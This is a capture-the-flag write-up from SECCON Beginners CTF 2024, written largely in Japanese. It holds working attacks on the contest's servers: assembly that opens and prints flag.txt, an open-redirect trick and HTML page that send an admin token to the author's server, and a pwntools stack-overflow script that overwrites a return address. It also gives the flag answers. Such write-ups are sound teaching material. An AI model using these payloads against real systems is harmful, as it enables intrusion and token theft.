---
# System prepended metadata

title: SECCON Beginners CTF 2024 Writeup
tags: [CTF, Writeup]

---

# SECCON Beginners CTF 2024 Writeup

![score.beginners.seccon.jp_teams_1070](https://hackmd.io/_uploads/SJn7CHhrR.png)


## reversing

### assemble

> Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

> Challenge 1. Please write 0x123 to RAX!

```
mov rax, 0x123
```

> Challenge 2. Please write 0x123 to RAX and push it on stack!

```
mov rax, 0x123
push rax
```

> Challenge 3. Please use syscall to print Hello on stdout!

```
mov rax, 0x6f6c6c6548 # "Hello"
push rax              # push "Hello"
mov rax, 1            # write
mov rdi, 1            # fd = stdout
mov rsi, rsp          # buf = "Hello"
mov rdx, 5            # count = 5
syscall
```

> Challenge 4. Please read flag.txt file and print it to stdout!

```
push rax                    # push \x00
mov rax, 0x7478742E67616c66 # "flag.txt"
push rax                    # push "flag.txt"
mov rax, 2                  # open
mov rdi, rsp                # pathname
mov rsi, 0                  # flags = O_RDONLY
mov rdx, 0
syscall
mov rbp, rax                # fd
mov rax, 0                  # read
mov rdi, rbp                # fd
mov rsi, rsp                # buf
mov rdx, 0x34               # count
syscall
mov rax, 1                  # write
mov rdi, 1                  # fd
mov rsi, rsp                # buf
mov rdx, 0x34               # count
syscall
```

- https://github.com/torvalds/linux/blob/cd6c84d8f0cdc911df435bb075ba22ce3c605b07/arch/x86/entry/syscalls/syscall_64.tbl
- https://man7.org/linux/man-pages/man2/write.2.html
- https://man7.org/linux/man-pages/man2/open.2.html
- https://man7.org/linux/man-pages/man2/read.2.html

#### Flag

```
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
```

### cha-ll-enge

> 見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

LLVM IR を読みます。

```
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
```

```
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37

```

```python
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
print(''.join([chr(a ^ b) for a, b in zip(key[:-1], key[1:])]))
```

#### Flag

```
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
```

## misc

### getRank

```javascript
fetch('https://getrank.beginners.seccon.games/', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        input: `0x${'f'.repeat(298)}`
    }),
})
```

#### Flag

```
ctf4b{15_my_5c0r3_700000_b1g?}
```

### clamre

> アンチウィルスのシグネチャを読んだことはありますか?

```
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
```

https://docs.clamav.net/manual/Signatures/LogicalSignatures.html#pcre-subsignatures

#### Flag

```
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
```

## web

### wooorker

> adminのみflagを取得できる認可サービスを作りました!

脆弱性報告botから報告すると `admin` として `next` に指定したURLを踏んでくれます。サーバーを用意して `login?next=${用意したサーバー}` を報告します。

しばらくすると用意したサーバーに `/?token=${token}` というアクセスがあるのでトークンを取得して `/flag.html?token=${token}` へアクセスします。

#### Flag

```
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
```

## wooorker2

> トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

woorker との差分を確認すると、トークンの扱いがURLのパラメーターからフラグメントに変わっています。フラグメントは送信されないので、フラグメントを取得して送信するページを用意します。

```html
<html>
    <body>
        <script>
            fetch('/token?' + window.location.hash.slice(1))
        </script>
    </body>
</html>
```

woorker と同じように `login?next=${用意したサーバー}` を報告してからトークンを取得します。

#### Flag

```
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
```

## pwnable

### simpleoverflow

> Cでは、0がFalse、それ以外がTrueとして扱われます。

```
1234567890
```

#### Flag

```
ctf4b{0n_y0ur_m4rk}
```

### simpleoverwrite

> スタックとリターンアドレスを確認しましょう

```python
from pwn import *


io = remote('simpleoverwrite.beginners.seccon.games', 9001)

io.recvuntil(b'input:')

payload = b''
payload += b'a' * 18
payload += p64(0x401186)

io.sendline(payload)

print(io.recvrepeat())
```

#### Flag

```
ctf4b{B3l13v3_4g41n}
```
